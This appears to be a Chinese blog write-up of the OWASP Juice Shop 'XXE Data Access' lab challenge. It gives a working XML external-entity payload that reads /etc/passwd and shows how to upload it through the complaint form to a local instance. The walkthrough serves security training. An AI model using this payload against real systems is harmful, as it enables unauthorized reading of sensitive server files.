【juice-shop】★★★ XXE Data Access:通过 XXE 读取服务器文件

通过构造 XXE(XML 外部实体)攻击 payload,利用投诉表单的文件上传接口读取服务器上的敏感文件(如 /etc/passwd)。

【juice-shop】★★★ XXE Data Access:通过 XXE 读取服务器文件

0x01 任务简报

💡 提示 (Hints)
1. 这项挑战的关键点是废弃的 B2B 接口。
2. 这个挑战听起来比实际要难得多,这更凸显了其潜在漏洞的严重性。
3. 研究典型的 XXE 攻击模式,基本上就能免费获得解决方案。

0x02 实战:复现漏洞

📝 第一步:构造 XXE Payload

创建一个 XML 文件,包含 XXE(XML 外部实体)攻击 payload:

1
❯ vim 1.xml

文件内容:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<xxe>&xxe;</xxe>

Payload 说明:

部分 说明
<!DOCTYPE xxe [...]> 定义文档类型和实体
<!ENTITY xxe SYSTEM "file:///etc/passwd"> 关键:定义外部实体,指向 /etc/passwd 文件
<xxe>&xxe;</xxe> 在 XML 中引用该实体,触发文件读取

📤 第二步:上传 XXE 文件

打开投诉(Complaint)表单,选择刚创建的 1.xml 文件进行上传。

投诉表单

🔍 第三步:查看响应

打开浏览器开发者工具(DevTools),查看网络请求:

1
XHR POST http://127.0.0.1:3000/file-upload

在响应或错误信息中,服务器会返回 /etc/passwd 文件的内容。

✅ 第四步:完成挑战

成功读取服务器上的敏感文件内容,挑战完成。

使用 Hugo 构建
主题 StackJimmy 设计